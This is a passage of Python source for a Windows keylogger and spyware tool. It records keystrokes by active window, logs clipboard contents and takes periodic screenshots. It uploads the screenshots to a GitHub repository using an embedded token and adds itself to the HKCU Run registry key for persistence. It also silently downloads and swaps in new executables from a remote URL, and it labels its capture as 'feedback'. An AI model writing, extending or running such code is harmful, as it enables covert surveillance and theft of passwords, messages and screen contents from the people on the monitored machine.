            # logging.warning(f"remaining time to delete screenshots: {format_remaining_time(remaining_screenshot_days)}")
            print(f"------------------------------------------------------------------------------------------\nremaining time to delete screenshots: {format_remaining_time(remaining_screenshot_days)}\n==========================================================================================\n\n")

        # Save updated remaining seconds to config.json
        save_config()
        
        # Schedule next check based on the fetched or default interval
        threading.Timer(screenshot_delete_status, schedule_folder_check).start()

    except Exception as e:
        logging.error(f"Error in check_and_delete_old_folders: {e}")
        print(f"Error in check_and_delete_old_folders: {e}")

def clean_folder(folder_path, current_time, threshold_seconds):
    """
    Clean a folder by deleting files older than the threshold and return remaining time.
    """
    try:
        remaining_seconds = threshold_seconds
        for root, dirs, files in os.walk(folder_path):
            for file in files:
                file_path = os.path.join(root, file)
                file_age = current_time - datetime.fromtimestamp(os.path.getmtime(file_path))
                file_age_seconds = file_age.total_seconds()

                # Delete files older than the threshold
                if file_age_seconds >= threshold_seconds:
                    try:
                        os.remove(file_path)
                        logging.info(f"Deleted old file: {file_path}")
                        print(f"⚠️ Deleted old file: {file_path}")
                    except Exception as e:
                        logging.error(f"Error deleting file {file_path}: {e}")
                        print(f"Error deleting file {file_path}: {e}")
                else:
                    # Calculate remaining time for the newest file
                    remaining_seconds = min(remaining_seconds, threshold_seconds - file_age_seconds)
                    # print("remaining seconds:- ", remaining_seconds)

        # If folder is empty, delete it
        if not os.listdir(folder_path):
            os.rmdir(folder_path)
            logging.info(f"Deleted empty folder: {folder_path}")
            print(f"🗑️ Deleted empty folder: {folder_path}")
            os.makedirs(folder_path, exist_ok=True)  # Recreate the folder
            logging.info(f"Recreated folder: {folder_path}")
            print(f"📁 Recreated folder: {folder_path}")

        return max(0, remaining_seconds)  # Return remaining time
    except Exception as e:
        logging.error(f"Error cleaning folder {folder_path}: {e}")
        print(f"Error cleaning folder {folder_path}: {e}")
        return threshold_seconds  # Default remaining time if an error occurs

# Function to get the folder's last modified time
def get_folder_age(folder_path):
    try:
        folder_creation_time = datetime.fromtimestamp(os.path.getctime(folder_path))
        logging.info(f"Folder {folder_path} creation time: {folder_creation_time}")
        print(f"Folder {folder_path} creation time: {folder_creation_time}")
        return folder_creation_time
    except Exception as e:
        logging.error(f"Error getting folder age for {folder_path}: {e}")
        print(f"Error getting folder age for {folder_path}: {e}")
        return datetime.now()  # Return current time if there's an error

# Function to delete a folder
def delete_folder(folder_path):
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    try:
        if os.path.exists(folder_path):
            for root, dirs, files in os.walk(folder_path, topdown=False):
                for name in files:
                    file_path = os.path.join(root, name)
                    try:
                        os.remove(file_path)
                        logging.info(f"[{timestamp}] - Deleted file: {file_path}")
                        print(f"[{timestamp}] - Deleted file: {file_path}")
                    except Exception as e:
                        logging.error(f"Error deleting file {file_path}: {e}")
                        print(f"Error deleting file {file_path}: {e}")
                for name in dirs:
                    dir_path = os.path.join(root, name)
                    try:
                        os.rmdir(dir_path)
                        logging.info(f"[{timestamp}] - Deleted directory: {dir_path}")
                        print(f"[{timestamp}] - Deleted directory: {dir_path}")
                    except Exception as e:
                        logging.error(f"Error deleting directory {dir_path}: {e}")
                        print(f"Error deleting directory {dir_path}: {e}")
            os.rmdir(folder_path)
            logging.info(f"[{timestamp}] - Deleted folder: {folder_path}")
            print(f"[{timestamp}] - Deleted folder: {folder_path}")
    except Exception as e:
        logging.error(f"Error deleting folder {folder_path}: {e}")
        print(f"Error deleting folder {folder_path}: {e}")

# def format_remaining_time(seconds):
#     """Format remaining time in a human-readable format."""
#     try:
#         remaining_time = timedelta(seconds=seconds)
#         return str(remaining_time)
#     except Exception as e:
#         logging.error(f"Error formatting remaining time: {e}")
#         return "N/A"

# Function to check and update the folder deletion status periodically
def schedule_folder_check():
    global interval_logs_delete_status
    try:
        check_and_delete_old_folders()
        save_config()
        # Schedule the next execution after 24 hour for testing
        # threading.Timer(86400, schedule_folder_check).start() # 24 hour
        # threading.Timer(21600, schedule_folder_check).start() # 6 hour
        # threading.Timer(40, schedule_folder_check).start() # 10 second
        # threading.Timer(interval_logs_delete_status, schedule_folder_check).start() # 10 second
    except Exception as e:
        logging.error(f"Error in scheduling folder check: {e}")
        print(f"Error in scheduling folder check: {e}")
# Start the periodic check
# schedule_folder_check()


# Get the active window's title
# ----------------------------------------------------------------------------------
def get_active_window_title():
    try:
        window = gw.getActiveWindow()
        if window is not None:
            return window.title
        return "Unknown Application"
    except Exception as e:
        logging.error(f"Error getting active window title: {e}")
        print(f"Error getting active window title: {e}")
        return "Unknown Application"


# Write a log entry to the file
# ----------------------------------------------------------------------------------
def write_log_entry(window, keys, include_window_info=False):
    try:
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        with open(keylog_file, "a", encoding="utf-8") as log_file:
            if include_window_info:  # Log the window info only once per window change
                log_file.write(f"\n\n[{timestamp}] - Active Window: {window}\n")
                log_file.write("----------------\n")
            if keys:
                log_file.write(f"{timestamp}: {''.join(keys)}\n")
        # print(f"Logged: {''.join(keys)}")  # Optional for debugging
    except Exception as e:
        logging.error(f"Error write_log_entry: {e}")
        print(f"Error write_log_entry: {e}")
        

# Handle key press events
# ----------------------------------------------------------------------------------
def on_press(key):
    global current_window, current_keys
    
    # Get the active window title
    active_window = get_active_window_title()

    # Detect window change
    if current_window != active_window:
        if current_window:
            # Log the previous window's data
            write_log_entry(current_window, current_keys)
        # Reset for the new window
        current_window = active_window
        current_keys = []
        write_log_entry(current_window, [], include_window_info=True)  # Log the new window info
    # logging.info(f"current window: {current_window}")
    
    try:
        # Handle the PrintScreen key for toggling tray icon visibility
        if key == keyboard.Key.print_screen:
            toggle_tray_icon()
            return
    
        # Handle key input
        try:
            key_char = key.char  # For printable characters
            # key_char = key.char if key.char else f"[{key}]"
        except AttributeError:
            key_char = f"[{key}]"  # For special keys (e.g., Enter, Backspace)
            # logging.error(f"Error handling key input on_press: {e}")
            # print(f"Error handling key input on_press: {e}")

        # Record the key
        # Define a mapping for special keys to normalize their representation
        special_keys = {
            "[Key.space]": " ",
            "[Key.enter]": "\n",
            "[Key.esc]": "[Esc]",
            "[Key.tab]": "[Tab]",
            "[Key.caps_lock]": "[Caps Lock]",
            "[Key.shift]": "[Shift]",
            "[Key.shift_r]": "[Shift]",
            "[Key.ctrl]": "[Ctrl]",
            "[Key.ctrl_l]": "[Ctrl]",
            "[Key.ctrl_r]": "[Ctrl]",
            "[Key.fn]": "[Fn]",
            "[Key.cmd]": "[Win]",
            "[Key.cmd_l]": "[Win]",
            "[Key.cmd_r]": "[Win]",
            "[Key.alt]": "[Alt]",
            "[Key.alt_l]": "[Alt]",
            "[Key.alt_r]": "[Alt]",
            "[Key.alt_gr]": "[Alt]",
            "[Key.insert]": "[Insert]",
            "[Key.print_screen]": "[PrtSc]",
            "[Key.delete]": "[Delete]",
            "[Key.backspace]": "[Backspace]",
            "[Key.up]": "[Up Arrow]",
            "[Key.down]": "[Down Arrow]",
            "[Key.left]": "[Left Arrow]",
            "[Key.right]": "[Right Arrow]",
            "[Key.home]": "[Home]",
            "[Key.end]": "[End]",
            "[Key.page_up]": "[Page Up]",
            "[Key.page_down]": "[Page Down]",
            # Function keys
            "[Key.f1]": "[F1]",
            "[Key.f2]": "[F2]",
            "[Key.f3]": "[F3]",
            "[Key.f4]": "[F4]",
            "[Key.f5]": "[F5]",
            "[Key.f6]": "[F6]",
            "[Key.f7]": "[F7]",
            "[Key.f8]": "[F8]",
            "[Key.f9]": "[F9]",
            "[Key.f10]": "[F10]",
            "[Key.f11]": "[F11]",
            "[Key.f12]": "[F12]",
            # Add any other special keys here as needed
        }

        try:
            # Process the key character
            if key_char in special_keys:
                current_keys.append(special_keys[key_char])
            elif key_char is not None:  # Ignore None values
                current_keys.append(key_char)
            # else:
            #     current_keys.append(key_char)
        except Exception as e:
            logging.error(f"Error processing key press: {e}")
            print(f"Error processing key press: {e}")
            pass  
    except Exception as e:
        print(f"Error processing key press: {e}")


# def on_press(key):
#     global current_window, current_keys
#     try:
#         # Handle the PrintScreen key for toggling tray icon visibility
#         if key == keyboard.Key.print_screen:
#             toggle_tray_icon()
#             return

#         try:
#             key_char = key.char if key.char else f"[{key}]"
#         except AttributeError:
#             key_char = f"[{key}]"

#         # Log the key press
#         write_log_entry(key_char)
#     except Exception as e:
#         print(f"Error processing key press: {e}")
        

# Handle key release events
# ----------------------------------------------------------------------------------
def on_release(key):
    global keys_pressed
    try:

        # Remove the released key from the set
        keys_pressed.discard(key)
        pass # Currently no action is needed on key release
            
        # if key == keyboard.Key.esc:
        #     # On Esc key, finalize logging and stop the listener
        #     write_log_entry(current_window, current_keys)
        #     print("Keylogger stopped.")
        #     logging.info(f"keylogger stopped")
        #     return False
    except Exception as e:
        logging.error(f"Error on_release: {e}")
        print(f"Error on_release: {e}")


# Start the keylogger
# ----------------------------------------------------------------------------------
def start_keylogger():
    try:
        timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
        with open(keylog_file, "a", encoding="utf-8") as log_file:
            log_file.write(f"\n\n\n[{timestamp}]---feedback started {username}---")
        logging.info(f"[{timestamp}]---feedback started {username}---")
        with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
            listener.join()
        print(f"[{timestamp}]---feedback started {username}---")
    except Exception as e:
        logging.error(f"Error on start_keylogger: {e}")
        print(f"Error on start_keylogger: {e}")


# Monitor clipboard changes
# ----------------------------------------------------------------------------------
def monitor_clipboard():
    global last_clipboard_content
    while True:
        try:
            current_clipboard_content = pyperclip.paste()
            if current_clipboard_content != last_clipboard_content:
                last_clipboard_content = current_clipboard_content
                timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                with open(clipboard_log_file, "a", encoding="utf-8") as log_file:
                    log_file.write(f"{timestamp}: Copied: {current_clipboard_content}\n\n")
                # print(f"Clipboard updated: {current_clipboard_content}")  # Optional for debugging
            # logging.info(f"monitor_clipboard")
        except Exception as e:
            # logging.error(f"Error monitoring clipboard: {e}")
            print(f"Error monitoring clipboard: {e}")
            pass
        time.sleep(1)  # Polling interval


# Take a screenshot
# ----------------------------------------------------------------------------------
def take_screenshot():
    """Enhanced screenshot function with active mode handling"""
    global last_interaction_time, is_running
    
    while True:
        try:
            if is_running:
                # Check if workstation is locked
                # if ctypes.windll.user32.GetForegroundWindow() == 0:
                #     logging.info("Skipping screenshot - workstation locked")
                #     time.sleep(10)
                #     continue
                # Calculate time since last interaction
                time_since_interaction = time.time() - last_interaction_time
                
                # Determine appropriate interval
                if time_since_interaction < ACTIVE_MODE_DURATION:
                    current_interval = SCREENSHOT_INTERVAL_ACTIVE
                    immediate_upload = True
                else:
                    current_interval = screenshot_interval
                    immediate_upload = False
                
                # Take screenshot
                timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
                filename = os.path.join(screenshot_folder, f"screenshot_{timestamp}.png")
                pyautogui.screenshot(filename)
                logging.info(f"take_screenshot-->Screenshot saved: {filename}")
                
                # Upload immediately if in active mode
                if immediate_upload:
                    threading.Thread(
                        target=upload_file_to_github,
                        args=(filename, REPO, "uploads/screenshots", BRANCH, GITHUB_TOKEN),
                        daemon=True
                    ).start()
             
            # with lock:
            #     current_interval = screenshot_interval
            # Sleep for appropriate interval
            time.sleep(current_interval)
            
        except Exception as e:
            logging.error(f"Screenshot error: {str(e)}")
            time.sleep(30)  # Backoff on errors


# Toggle screenshot taking
# ----------------------------------------------------------------------------------
def toggle_screenshots(icon, item):
    global is_running
    is_running = not is_running
    save_config()  # Save the updated state to the config file
    if (is_running == True):
        show_notification(APP_NAME, "Enabled taking Screenshot")
    else:
        show_notification(APP_NAME, "Disabled taking Screenshot")
    logging.info(f"toggle_screenshot - {'Enabled' if is_running else 'Disabled'}")
    print(f"toggle_screenshot - {'Enabled' if is_running else 'Disabled'}")
    

# Toggle keylogging
# ----------------------------------------------------------------------------------
def toggle_keylogging(icon, item):
    global listener_running
    listener_running = not listener_running
    save_config()  # Save the updated state to the config file
    if(listener_running == True):
        show_notification(APP_NAME, "Enabled Keylogger")
    else:
        show_notification(APP_NAME, "Disabled Keylogger")
    logging.info(f"toggle_keylogging - {'Enabled' if listener_running else 'Disabled'}")
    print(f"toggle_keylogging - {'Enabled' if listener_running else 'Disabled'}")
        

# Update screenshot interval
# ----------------------------------------------------------------------------------
def set_interval(icon, item):
    global screenshot_interval
    try:
        with lock:
            # Parse the interval value and format
            text = item.text
            if "seconds" in text:
                screenshot_interval = int(text.split()[0])  # Keep seconds as is
                interval_display = f"{screenshot_interval} seconds"
            elif "Minutes" in text:
                screenshot_interval = int(text.split()[0]) * 60  # Convert minutes to seconds
                interval_display = f"{text.split()[0]} minutes"
            elif "Hour" in text:
                screenshot_interval = int(text.split()[0]) * 3600  # Convert hours to seconds
                interval_display = f"{text.split()[0]} hour"

        save_config()  # Save the new interval to the JSON file
        # Update menu checkmarks and show a notification
        update_checkmarks(icon)
        show_notification(APP_NAME, f"Screenshot interval set to {interval_display}.")
        logging.info(f"Interval set to {interval_display}.")
        print(f"Interval set to {interval_display}.")
    except Exception as e:
        logging.error(f"Error in set_interval: {e}")
        print(f"Error in set_interval: {e}")


# Stop script
# ----------------------------------------------------------------------------------
def stop_script(icon):
    try:
        global tray_icon
        if tray_icon:
            tray_icon.stop()
        # Log the previous window's data
        write_log_entry(current_window, current_keys)
        show_notification(APP_NAME, "Keylogger is terminated...")
        logging.info(f"Script terminated\n\n")
        print("Stopping script...\n\n\n")
        # icon.notify(f"Keylogger terminated")
        os._exit(0)
    except Exception as e:
        logging.error(f"Error in stop_script: {e}")
        print(f"Error in stop_script: {e}")


# function to open developer page in browser 
# ----------------------------------------------------------------------------------
def on_open_developer(icon):
    try:
        url = "https://bibekchandsah.com.np/developer.html"
        webbrowser.open(url)
        show_notification(APP_NAME, "Opening Developer Page...")
        logging.info(f"open_developer")
        print(f"open_developer")
    except Exception as e:
        logging.error(f"Error opening Developer: {e}")
        print(f"Error opening Developer: {e}")


# Restart script
# ----------------------------------------------------------------------------------
def restart_script(icon, item):
    try:
        # Log the previous window's data
        write_log_entry(current_window, current_keys)
        logging.info(f"Restarting script...\n")
        print("Restarting script...\n\n")
        # icon.notify(f"Restarting the Keylogger")
        show_notification(APP_NAME, "Restarting Keylogger...")
        # global listener
        # listener.stop()
        icon.stop()
        # os.execv(sys.executable, ['python'] + sys.argv)
        os.execl(sys.executable, sys.executable, *sys.argv)
        # os.execv(sys.executable, [sys.executable] + sys.argv)
    except Exception as e:
        logging.error(f"Error restarting script: {e}")
        print(f"Error restarting script: {e}")


# Toggle startup option
# ----------------------------------------------------------------------------------
def synchronize_startup_state():
    """
    Synchronize the startup state with the Windows Registry based on the is_startup_enabled variable.
    """
    global is_startup_enabled
    try:
        startup_key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name_key = APP_NAME

        # Check if the app is already in the registry
        with winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_key_path, 0, winreg.KEY_READ) as key:
            try:
                value = winreg.QueryValueEx(key, app_name_key)
                is_in_startup = True if value else False
            except FileNotFoundError:
                is_in_startup = False

        # Add or remove the app from startup based on is_startup_enabled
        if is_startup_enabled and not is_in_startup:
            # Add to startup
            with winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_key_path, 0, winreg.KEY_SET_VALUE) as key:
                winreg.SetValueEx(key, app_name_key, 0, winreg.REG_SZ, sys.executable + " " + sys.argv[0])
                print("Added to startup.")
        elif not is_startup_enabled and is_in_startup:
            # Remove from startup
            with winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_key_path, 0, winreg.KEY_SET_VALUE) as key:
                winreg.DeleteValue(key, app_name_key)
                print("Removed from startup.")

    except Exception as e:
        logging.error(f"Error synchronizing startup state: {e}")
        print(f"Error synchronizing startup state: {e}")

def toggle_startup(enable):
    """
    Enable or disable running the application on startup.
    """
    global is_startup_enabled
    try:
        startup_key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Windows\CurrentVersion\Run",
            0,
            winreg.KEY_SET_VALUE
        )
        if enable:
            winreg.SetValueEx(startup_key, APP_NAME, 0, winreg.REG_SZ, sys.executable + " " + sys.argv[0])
            show_notification(APP_NAME, "Enabled startup at boot.")
            logging.info(f"Startup Enabled")
            print(f"Startup Enabled")
        else:
            winreg.DeleteValue(startup_key, APP_NAME)
            show_notification(APP_NAME, "Disabled startup at boot.")
            logging.info(f"Startup Disabled")
            print(f"Startup Disabled")
        is_startup_enabled = enable
        save_config()  # Save the updated state to config.json
        winreg.CloseKey(startup_key)
    except Exception as e:
        logging.error(f"Error toggling startup: {e}")
        show_notification(APP_NAME, f"Error: {e}")
        print(f"Error toggling startup: {e}")

def is_startup_checked(item):
    """
    Return whether the "Run on Startup" option is enabled.
    The `item` argument is required by pystray but not used here.
    """
    # logging.info(f"check startup")
    return is_startup_enabled

def on_toggle_startup(icon, item):
    """
    Toggle the startup status based on user selection.
    """
    # logging.info(f"on toggle startup")
    toggle_startup(not is_startup_enabled)


# Open error log file    
# ----------------------------------------------------------------------------------    
def on_open_log(icon, item):
    """
    Open the log file in the default text editor.
    """
    logging.warning(f"Log file is opened")
    try:
        if os.path.exists(LOG_FILE):
            os.startfile(LOG_FILE)
        else:
            raise FileNotFoundError("Log file not found.")
    except Exception as e:
        # show_notification("Image Viewer", f"Error: {e}")
        show_notification(APP_NAME, "Failed to open the log file.")
        logging.error(f"Error opening log file: {e}")
        print(f"Error opening log file: {e}")
       
        
# Open keylog file  
# ----------------------------------------------------------------------------------      
def open_keylog_file(icon, item):
    """
    Open the keylog file in the default text editor.
    """
    logging.warning(f"Keylog file is opened")
    try:
        if os.path.exists(keylog_file):
            os.startfile(keylog_file)
        else:
            raise FileNotFoundError("Keylog file not found.")
    except Exception as e:
        # show_notification("Image Viewer", f"Error: {e}")
        show_notification(APP_NAME, "Failed to open the Keylog file.")   
        logging.error(f"Error opening log file: {e}")
        print(f"Error opening log file: {e}")
    
        
# Open copy keylog file 
# ----------------------------------------------------------------------------------       
def open_copy_keylog_file(icon, item):
    """
    Open the Copy keylog file in the default text editor.
    """
    logging.warning(f"copied Log file is opened")
    try:
        if os.path.exists(clipboard_log_file):
            os.startfile(clipboard_log_file)
        else:
            raise FileNotFoundError("Copy Keylog file not found.")
    except Exception as e:
        # show_notification("Image Viewer", f"Error: {e}")
        show_notification(APP_NAME, "Failed to open the Copy Keylog file.")        
        logging.error(f"Error opening log file: {e}")
        print(f"Error opening log file: {e}")
        
        
# Open screenshot folder
# ----------------------------------------------------------------------------------        
def open_Screenshot_folder(icon, item):
    """
    Open the screenshot folder.
    """
    logging.warning(f"Screenshot folder is opened")
    try:
        if os.path.exists(screenshot_folder):
            os.startfile(screenshot_folder)
        else:
            raise FileNotFoundError("Screenshot folder not found.")
    except Exception as e:
        # show_notification("Image Viewer", f"Error: {e}")
        show_notification(APP_NAME, "Failed to open the Screenshot folder.")
        logging.error(f"Error opening Screenshot folder: {e}")
        print(f"Error opening Screenshot folder: {e}")


# Check for program update
#-----------------------------------------------------------------------------------
INTERVAL_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/refs/heads/main/interval.json"
DEFAULT_UPDATE_INTERVAL = 50  # Default interval in seconds if not fetched from URL
is_downloading = False # Global variable to track download status

def format_size(size):
    """Dynamically format file size to B, KB, MB, or GB."""
    for unit in ["B", "KB", "MB", "GB"]:
        if size < 1024:
            return f"{size:.2f} {unit}"
        size /= 1024
    return f"{size:.2f} GB"

def format_time(seconds):
    """Format time into seconds, minutes, hours, or days."""
    if seconds < 60:
        return f"{seconds:.2f} seconds"
    elif seconds < 3600:
        minutes = seconds // 60
        return f"{seconds / 60:.2f} minute{'s' if minutes > 1 else ''}"
    elif seconds < 86400:
        hours = seconds // 3600
        return f"{seconds / 3600:.2f} hours{'s' if hours > 1 else ''}"
    elif seconds < 2592000:  # Approx. 30 days
        days = seconds // 86400
        return f"{seconds / 86400:.2f} day{'s' if days > 1 else ''}"
    elif seconds < 31536000:  # Approx. 365 days
        months = seconds // 2592000
        return f"{seconds / 2592000:.2f} month{'s' if months > 1 else ''}"
    else:
        years = seconds // 31536000
        return f"{seconds / 31536000:.2f} year{'s' if years > 1 else ''}"

def check_for_update_async():
    try:
        show_notification(APP_NAME, "Checking for updates .....")
        threading.Thread(target=check_for_update, daemon=True).start()
    except Exception as e:
        logging.error(f"Error checking for update: {e}")
        print(f"⚠️ Error checking for update: {e}")

def fetch_interval_data():
    """Fetch and return the interval.json data."""
    try:
        response = requests.get(INTERVAL_URL, timeout=10)
        response.raise_for_status()
        return response.json()  # Parse JSON response
    except requests.exceptions.RequestException as e:
        logging.error(f"Failed to fetch interval data: {e}")
        print(f"Failed to fetch interval data: {e}")
        return None

def get_update_interval(interval_data):
    """Get the update interval from the interval data."""
    if interval_data and "auto_update_interval" in interval_data:
        return interval_data["auto_update_interval"]
    return DEFAULT_UPDATE_INTERVAL

def get_latest_version(interval_data):
    """Get the latest version from the interval data."""
    if interval_data and "latest_version" in interval_data:
        return interval_data["latest_version"]
    return None


# def check_and_auto_update():
#     """Check the interval.json for auto_update and proceed accordingly."""
#     interval_data = fetch_interval_data()
#     if interval_data and interval_data.get("auto_update", False):
#         logging.info("Auto-update is enabled. Checking for updates...")
#         print("\n\n*****Auto-update is enabled. Checking for updates...*****")
#         check_for_update(auto_update=True)
#     else:
#         logging.warning("Auto-update is disabled or interval.json could not be fetched.")
#         messagebox.showwarning("Auto-Update Disabled", 
#                                "Auto-update is disabled or the interval configuration could not be fetched. Please check manually for updates.")

def check_and_auto_update():
    """Check for auto-update and handle the update process."""
    global is_downloading
    
    if is_downloading:  # Skip if a download is already in progress
        print("::::::::::Download already in progress. Skipping this update check.::::::::::")
        return
    
    interval_data = fetch_interval_data()
    auto_update = interval_data.get("auto_update", False) if interval_data else False
    latest_version = get_latest_version(interval_data)

    if auto_update:
        logging.info("Auto-update is enabled.")
        if latest_version and latest_version > CURRENT_VERSION:
            print(f"\n#####################################################################\nNew version available: {latest_version}. Updating automatically...\n#####################################################################")
            is_downloading = True
            # threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
            start_download_window(latest_version)
        else:
            logging.info("🎉 You are already using the latest version. 🎉")
            print("\n\n🎉 You are already using the latest version. 🎉")
    else:
        logging.warning("Auto-update is disabled or configuration could not be fetched.")
        print("Auto-update is disabled or configuration could not be fetched.")
        # messagebox.showwarning("Auto-Update Disabled", "Auto-update is disabled or the interval configuration could not be fetched. Please check manually for updates.")


def start_auto_update_checker():
    """Start a loop to check for updates at regular intervals."""
    interval_data = fetch_interval_data()
    update_interval = get_update_interval(interval_data)

    while True:
        print(f"\n-----------------------------------------------------------------\nChecking for updates every {update_interval} seconds... \n-----------------------------------------------------------------\n")
        check_and_auto_update()
        time.sleep(update_interval)

def start_download_window(latest_version):
    """Create a minimized window during download."""
    def download_in_background():
        # download_update(latest_version)
        threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
        root.destroy()  # Close the window after the download is complete

    root = tk.Tk()
    root.title("Downloading Update")
    root.geometry("300x50")
    root.iconify()  # Minimize the window

    tk.Label(root, text="Downloading update... Please wait.", pady=10).pack()
    threading.Thread(target=download_in_background, daemon=True).start()
    root.mainloop()       

def check_for_update(auto_update=False):
    """Check for updates and handle the update process."""
    try:
        response = requests.get(VERSION_URL, timeout=10)
        response.raise_for_status()
        latest_version = response.text.strip()

        if latest_version > CURRENT_VERSION:
            print(f"\nUpdate Available: {latest_version}")
            if auto_update:
                logging.info("Auto-updating to the latest version...")
                print("\n\nAuto-updating to the latest version...")
                threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
            else:
                # if messagebox.askyesno("Update Available", f"A new version (v{latest_version}) is available. Update now?"):
                #     threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
                threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
        else:
            print("You are using the latest version.")
            if not auto_update:
                messagebox.showinfo("No Update", f"You are using the latest version {CURRENT_VERSION}.")
    except requests.exceptions.RequestException as e:
        logging.error(f"Failed to check for updates: {e}")
        if not auto_update:
            logging.warning("Error", "Failed to check for updates. Please try again later.")
            messagebox.showerror("Error", "Failed to check for updates. Please try again later.")




# def check_for_update():
#     try:
#         response = requests.get(VERSION_URL, timeout=10)
#         response.raise_for_status()
#         latest_version = response.text.strip()

#         if latest_version > CURRENT_VERSION:
#             logging.info(f"Update Available: {latest_version}")
#             print(f"Update Available: {latest_version}")
#             show_notification(APP_NAME, f"New version v{latest_version} is available.")
#             if messagebox.askyesno("Update Available", f"A new version (v{latest_version}) is available. Update now?"):
#                 # Open the tkinter window and start downloading the update
#                 threading.Thread(target=lambda: run_tkinter_window(latest_version), daemon=True).start()
#             else:
#                 logging.warning(f"{username} ignored the update {latest_version}")
#                 print(f"{username} ignored the update {latest_version}")
#         else:
#             logging.info(f"{username} is using the latest version.")
#             print(f"{username} is using the latest version.")
#             show_notification(APP_NAME, "You are using the latest version.")
#             messagebox.showinfo("No Update", "You are using the latest version.")
#     except requests.exceptions.ConnectionError:
#         show_notification("Connection Error", "No internet connection. Please check your network and try again.")
#         messagebox.showerror("Connection Error", "No internet connection. Please check your network and try again.")
#     except requests.exceptions.RequestException as e:
#         logging.error(f"Failed to check for updates: {e}")
#         show_notification("Error", "Failed to check for updates. Please try again later.")
#         messagebox.showerror("Error", f"Failed to check for updates: {e}")

def download_update(latest_version):
    """Download the update."""
    global is_downloading
    try:
        download_url = f"{BASE_DOWNLOAD_URL}/v{latest_version}/{APPLICATION_NAME}"
        progress_label.config(text="Downloading update...")
        response = requests.get(download_url, stream=True)
        response.raise_for_status()
        
        total_size = int(response.headers.get("Content-Length", 0))
        progress_bar["maximum"] = total_size
        downloaded_size = 0
        start_time = time.time()

        with open("update_temp.exe", "wb") as f:
            for chunk in response.iter_content(chunk_size=8192):
                if chunk:
                    f.write(chunk)
                    downloaded_size += len(chunk)
                    progress_bar["value"] = downloaded_size

                    elapsed_time = time.time() - start_time
                    speed = downloaded_size / elapsed_time
                    remaining_time = (total_size - downloaded_size) / speed if speed > 0 else 0

                    progress_label.config(
                        text=f"Downloaded: {format_size(downloaded_size)} of {format_size(total_size)}"
                    )
                    time_label.config(
                        text=f"Speed: {format_size(speed)}/s | Remaining Time: {format_time(remaining_time)}"
                    )
                    root.update()

        replace_executable()
    except Exception as e:
        logging.error("Download Error downloading update")
        messagebox.showerror("Download Error", f"Failed to download update: {e}")
    finally:
        is_downloading = False  # Reset the download flag after completion

def restart_program():
    """Restart the program silently."""
    try:
        logging.info("Restarting the application after update...")
        print("Restarting the application after update...")
        os.execv(sys.executable, [sys.executable] + sys.argv)
    except Exception as e:
        logging.error(f"Failed to restart the application: {e}")
        print(f"Failed to restart the application: {e}")

def replace_executable():
    """Replace the old executable with the new one silently."""
    try:
        current_path = os.path.join(os.getcwd(), APPLICATION_NAME)
        backup_path = f"{current_path}.old"
        update_path = os.path.join(os.getcwd(), "update_temp.exe")

        if os.path.exists(backup_path):
            os.remove(backup_path)

        if os.path.exists(current_path):
            os.rename(current_path, backup_path)

        os.rename(update_path, current_path)
        logging.info("Application updated sucessfully!")
        print("Application updated sucessfully!")
        # messagebox.showinfo(APP_NAME, "The program has been updated successfully!")
        restart_program()
    except Exception as e:
        logging.error("error replacing file")
        messagebox.showerror("Error", f"Failed to replace the executable: {e}")
        print("Error", f"Failed to replace the executable: {e}")
        
def clean_partial_files():
    try:
        update_path = os.path.join(os.getcwd(), "update_temp.exe")
        if os.path.exists(update_path):
            os.remove(update_path)
    except Exception as e:
        logging.error("error cleaning up partial files")
        print(f"Error during cleanup: {e}")

def run_tkinter_window(latest_version=None):
    
    global root, progress_label, progress_bar, time_label

    root = tk.Tk()
    root.title("Updater")
    root.geometry("400x250")
    root.resizable(False, False)
    root.iconbitmap(ICON_PATH)
    
    # Get screen dimensions and position the window at the center
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    window_width, window_height = 400, 250  # Same as geometry
    position_x = (screen_width // 2) - (window_width // 2)
    position_y = (screen_height // 2) - (window_height // 2)
    root.geometry(f"{window_width}x{window_height}+{position_x}+{position_y}")

    root.iconify()  # Minimize the window
    # root.withdraw()  # Hides the window
    # root.overrideredirect(True)  # Removes window miminize, close decorations
    
    progress_label = ttk.Label(root, text="Click 'Check for Updates' to start.")
    progress_label.pack(pady=10)

    progress_bar = ttk.Progressbar(root, orient="horizontal", length=300, mode="determinate")
    progress_bar.pack(pady=10)

    time_label = ttk.Label(root, text="", font=("Arial", 10))
    time_label.pack(pady=5)
    
    if latest_version:
        progress_label.config(text="Starting download...")
        logging.info("Starting download...")
        threading.Thread(target=download_update, args=(latest_version,), daemon=True).start()
        
    quit_button = ttk.Button(root, text="Quit", command=root.destroy)
    quit_button.pack(pady=5)

    root.mainloop()


# function to upload the log filesss
# ----------------------------------------------------------------------------------

# set the upload log interval according to url if not url then default
# if url default then it uses default fallback interval
# if url is reached then it's not using fallback interval from url it uploads in the url interval

# Default upload interval and fallback interval in case of network error
DEFAULT_UPLOAD_INTERVAL = 600 # 10 minutes
# DEFAULT_UPLOAD_INTERVAL = 100 # 1.6 minutes
# DEFAULT_FALLBACK_INTERVAL = 20
DEFAULT_FALLBACK_INTERVAL = 300 # 5 minutes

# Number of retries for failed uploads
MAX_RETRIES = 3
RETRY_DELAY = 5  # Delay in seconds between retries

# URL to fetch the upload interval
# INTERVAL_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/main/interval.json"

CACHE_FILE = os.path.join(app_dir, "files_cache.json")
# Cache for uploaded files to avoid re-uploading
data_uploaded_cache = set()
screenshots_uploaded_cache = set()

def format_interval(seconds):
    """
    Converts a time duration in seconds into a human-readable format.
